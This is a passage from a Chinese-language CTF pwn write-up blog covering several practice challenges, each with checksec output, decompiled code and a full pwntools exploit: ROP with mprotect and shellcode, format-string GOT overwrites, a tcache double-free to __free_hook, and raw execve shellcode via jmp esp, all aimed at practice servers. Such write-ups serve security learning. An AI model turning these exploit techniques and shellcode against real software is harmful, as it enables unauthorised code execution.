class="line">io.sendline(<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>或者可以使用mprotect：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = &#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;i386&#x27;</span></span><br><span class="line"><span class="comment">#process(&#x27;./PicoCTF_2018_can-you-gets-me&#x27;)#</span></span><br><span class="line">e = ELF(<span class="string">&#x27;./PicoCTF_2018_can-you-gets-me&#x27;</span>)</span><br><span class="line">sc_addr = (e.bss() + <span class="number">0x1000</span>) </span><br><span class="line"></span><br><span class="line">pop_ebx_esi_edi_ebp_ret = e.search(asm(<span class="string">&#x27;pop ebx ; pop esi ; pop edi ; pop ebp ; ret&#x27;</span>)).__next__()</span><br><span class="line">mprotect_addr = e.sym[<span class="string">&#x27;mprotect&#x27;</span>]</span><br><span class="line">read_addr = e.sym[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x18</span>+<span class="number">4</span>)+ p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(<span class="number">0x100</span>) + p32(<span class="number">0x7</span>) + p32(<span class="number">0xdeadbeef</span>)  + p32(read_addr) + p32(sc_addr) + p32(<span class="number">0</span>) + p32(sc_addr) + p32(<span class="number">0x100</span>)</span><br><span class="line"></span><br><span class="line">payload2 = asm(shellcraft.sh())</span><br><span class="line"></span><br><span class="line">p.sendline(payload1)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">p.sendline(payload2)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>



<h1 id="0x4A-mrctf2020-easy-equation"><a href="#0x4A-mrctf2020-easy-equation" class="headerlink" title="0x4A.mrctf2020_easy_equation"></a>0x4A.mrctf2020_easy_equation</h1><p>开了NX：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec mrctf2020_easy_equation </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/mrctf2020_easy_equation&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure>

<p>格式化字符串写小数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [rsp+Fh] [rbp-1h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(&amp;s, <span class="number">0</span>, <span class="number">0x400</span>uLL);</span><br><span class="line">  fgets(&amp;s, <span class="number">0x3FF</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  <span class="built_in">printf</span>(&amp;s);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="number">11</span> * judge * judge + <span class="number">17</span> * judge * judge * judge * judge - <span class="number">13</span> * judge * judge * judge - <span class="number">7</span> * judge == <span class="number">198</span> )</span><br><span class="line">    system(<span class="string">&quot;exec /bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>简单先跑下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> judge <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10000</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="number">11</span> * judge * judge + <span class="number">17</span> * judge * judge * judge * judge - <span class="number">13</span> * judge * judge * judge - <span class="number">7</span> * judge == <span class="number">198</span>:</span><br><span class="line">        <span class="built_in">print</span>(judge)</span><br></pre></td></tr></table></figure>

<p>得到judge为2</p>
<p>简单调下发现是第8个，但是会被截断，所以：</p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># io = process(&quot;./mrctf2020_easy_equation&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">28186</span>)</span><br><span class="line"><span class="comment"># payload = &quot;baaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.&quot;</span></span><br><span class="line">payload = <span class="string">&#x27;aa%9$naaa&#x27;</span>+p64(<span class="number">0x060105C</span>)</span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x4B-wdb-2018-2nd-easyfmt"><a href="#0x4B-wdb-2018-2nd-easyfmt" class="headerlink" title="0x4B.wdb_2018_2nd_easyfmt"></a>0x4B.wdb_2018_2nd_easyfmt</h1><p>还是只开了NX，</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">100</span>]; <span class="comment">// [esp+8h] [ebp-70h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// [esp+6Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Do you know repeater?&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0x64</span>u);</span><br><span class="line">    <span class="built_in">printf</span>(buf);</span><br><span class="line">    <span class="built_in">putchar</span>(<span class="string">&#x27;\n&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>字符串的洞，直接写read或printf的got为system，简单确定下偏移为6：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ ./wdb_2018_2nd_easyfmt </span><br><span class="line">Do you know repeater?</span><br><span class="line">aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p</span><br><span class="line">aaaa0xffca37a8.0x64.0xf7f0ec08.0xf7f0dd00.0xffca38cc.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e</span><br><span class="line">����/</span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./wdb_2018_2nd_easyfmt&quot;)</span></span><br><span class="line"><span class="comment"># context.arch = &#x27;i386&#x27;</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27041</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./wdb_2018_2nd_easyfmt&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># libc = ELF(&quot;/lib/i386-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">printf_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload = p32(printf_got)+ <span class="string">&#x27;%6$s&#x27;</span></span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line"></span><br><span class="line">io.recvline()</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv()</span><br><span class="line"></span><br><span class="line">io.send(payload)</span><br><span class="line">print_addr =u32(io.recvuntil(<span class="string">&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:])</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(print_addr)</span><br><span class="line">base = print_addr - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">system_addr = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">6</span>,&#123;printf_got:system_addr&#125;)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>查了半天，，，，原来是libc写错了。。fuck。</p>
<h1 id="0x4C-ciscn-2019-es-1"><a href="#0x4C-ciscn-2019-es-1" class="headerlink" title="0x4C.ciscn_2019_es_1"></a>0x4C.ciscn_2019_es_1</h1><p>保护全开：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ checksec ciscn_2019_es_1</span><br><span class="line">[*] <span class="string">&#x27;/home/yutao/Desktop/ciscn_2019_es_1&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure>

<p>add:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">add</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+4h] [rbp-3Ch]</span></span><br><span class="line">  __int64 *v2; <span class="comment">// [rsp+8h] [rbp-38h]</span></span><br><span class="line">  __int64 size[<span class="number">5</span>]; <span class="comment">// [rsp+10h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v4; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( heap_number &gt; <span class="number">12</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Enough!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  v1 = heap_number;</span><br><span class="line">  heap_addr[v1] = <span class="built_in">malloc</span>(<span class="number">0x18</span>uLL);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input the size of compary&#x27;s name&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, size);</span><br><span class="line">  *(heap_addr[heap_number] + <span class="number">2</span>) = size[<span class="number">0</span>];</span><br><span class="line">  v2 = heap_addr[heap_number];</span><br><span class="line">  *v2 = <span class="built_in">malloc</span>(LODWORD(size[<span class="number">0</span>]));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;please input name:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, *heap_addr[heap_number], LODWORD(size[<span class="number">0</span>]));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;please input compary call:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, heap_addr[heap_number] + <span class="number">12</span>, <span class="number">0xC</span>uLL);</span><br><span class="line">  *(heap_addr[heap_number] + <span class="number">23</span>) = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Done!&quot;</span>);</span><br><span class="line">  ++heap_number;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>call就是free：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">call</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input the index:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v1);</span><br><span class="line">  <span class="keyword">if</span> ( heap_addr[v1] )</span><br><span class="line">    <span class="built_in">free</span>(*heap_addr[v1]);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;You try it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Done&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>是2.27，有tcache，先malloc个大一点的chunk，free后直接放入unsortedbin。然后就是正常流程了。</p>
<p>tmd调了半天结果终于发现哪里有问题了，python的切片一直写错……</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level=<span class="string">&quot;debug&quot;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27004</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./ciscn_2019_es_1&quot;</span>)</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.27.so&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">size,name,compary</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;choice:&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">	io.sendlineafter(<span class="string">&quot;compary&#x27;s name&quot;</span>,<span class="built_in">str</span>(<span class="built_in">int</span>(size)))</span><br><span class="line">	io.sendafter(<span class="string">&#x27;input name:&#x27;</span>,name)</span><br><span class="line">	io.sendafter(<span class="string">&#x27;call:&#x27;</span>,compary)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;choice:&#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;\n&#x27;</span>,<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">call</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;choice&#x27;</span>,<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;\n&#x27;</span>,<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">0x410</span>,<span class="string">&#x27;aaaa&#x27;</span>,<span class="string">&#x27;250&#x27;</span>)<span class="comment">#0</span></span><br><span class="line">add(<span class="number">0x20</span>,<span class="string">&#x27;bbbb&#x27;</span>,<span class="string">&#x27;2223451&#x27;</span>)<span class="comment">#1</span></span><br><span class="line">add(<span class="number">0x20</span>,<span class="string">&#x27;/bin/sh&#x27;</span>,<span class="string">&#x27;2353&#x27;</span>)</span><br><span class="line">call(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">libcbase=u64(io.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))-<span class="number">96</span>-<span class="number">0x10</span>-libc.sym[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">free_hook=libcbase+libc.sym[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">system=libcbase+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">call(<span class="number">1</span>)</span><br><span class="line">call(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">0x20</span>,p64(free_hook),<span class="string">&#x27;13456&#x27;</span>)</span><br><span class="line">add(<span class="number">0x20</span>,<span class="string">&#x27;dddd&#x27;</span>,<span class="string">&#x27;256&#x27;</span>)</span><br><span class="line">add(<span class="number">0x20</span>,p64(system),<span class="string">&#x27;666&#x27;</span>)</span><br><span class="line"></span><br><span class="line">call(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x4D-x-ctf-b0verfl0w"><a href="#0x4D-x-ctf-b0verfl0w" class="headerlink" title="0x4D.x_ctf_b0verfl0w"></a>0x4D.x_ctf_b0verfl0w</h1><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec b0verfl0w </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/b0verfl0w&#x27;</span></span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">    RWX:      Has RWX segments</span><br></pre></td></tr></table></figure>

<p>关了nx</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">vul</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">32</span>]; <span class="comment">// [esp+18h] [ebp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\n======================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nWelcome to X-CTF 2016!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\n======================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What&#x27;s your name?&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  fgets(s, <span class="number">50</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello %s.&quot;</span>, s);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">还有个hint：</span><br><span class="line">.text:<span class="number">080484F</span>D hint            proc near</span><br><span class="line">.text:<span class="number">080484F</span>D ; __unwind &#123;</span><br><span class="line">.text:<span class="number">080484F</span>D                 push    ebp</span><br><span class="line">.text:<span class="number">080484F</span>E                 mov     ebp, esp</span><br><span class="line">.text:<span class="number">08048500</span>                 sub     esp, <span class="number">24</span>h</span><br><span class="line">.text:<span class="number">08048503</span>                 retn</span><br><span class="line">.text:<span class="number">08048503</span> hint            endp ; sp-analysis failed</span><br><span class="line">.text:<span class="number">08048503</span></span><br><span class="line">.text:<span class="number">08048504</span> ; ---------------------------------------------------------------------------</span><br><span class="line">.text:<span class="number">08048504</span>                 jmp     esp</span><br><span class="line">.text:<span class="number">08048506</span> ; ---------------------------------------------------------------------------</span><br><span class="line">.text:<span class="number">08048506</span>                 retn</span><br><span class="line">.text:<span class="number">08048507</span> ; ---------------------------------------------------------------------------</span><br><span class="line">.text:<span class="number">08048507</span>                 mov     eax, <span class="number">1</span></span><br><span class="line">.text:<span class="number">0804850</span>C                 pop     ebp</span><br><span class="line">.text:<span class="number">0804850</span>D                 retn</span><br><span class="line">.text:<span class="number">0804850</span>D ; &#125; <span class="comment">// starts at 80484FD</span></span><br></pre></td></tr></table></figure>

<p>首先还是一段shellcode：<code>shellcode = &quot;\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80&quot;</code></p>
<p>具体的payload是这样的：</p>
<blockquote>
<p>  payload &#x3D; shellcode + padding + fake_ebp+ hit_jmp_addr +asm(‘sub esp,0x28;jmp esp’)</p>
</blockquote>
<p>程序leave后esp指向ret的位置，然后ret，eip指向了hit的jmp esp的位置，这时esp指向构造的sub esp,0x28的位置，之后esp指向shellcode头的位置，然后后程序再次执行jmp esp，执行shellcode</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">r=remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">28760</span>)</span><br><span class="line"><span class="comment"># r = process(&quot;./b0verfl0w&quot;)</span></span><br><span class="line">shellcode = <span class="string">&quot;\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80&quot;</span></span><br><span class="line"><span class="built_in">print</span> <span class="built_in">len</span>(shellcode)</span><br><span class="line"></span><br><span class="line">jmp_esp=<span class="number">0x8048504</span></span><br><span class="line">sub_esp_jmp=asm(<span class="string">&#x27;sub esp,0x28;jmp esp&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload=shellcode+(<span class="number">0x20</span>-<span class="built_in">len</span>(shellcode)+<span class="number">4</span>)*<span class="string">&#x27;a&#x27;</span>+p32(jmp_esp)+sub_esp_jmp</span><br><span class="line">gdb.attach(r)</span><br><span class="line">r.sendline(payload)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h1 id="0x4E-picoctf-2018-leak-me"><a href="#0x4E-picoctf-2018-leak-me" class="headerlink" title="0x4E.picoctf_2018_leak_me"></a>0x4E.picoctf_2018_leak_me</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span 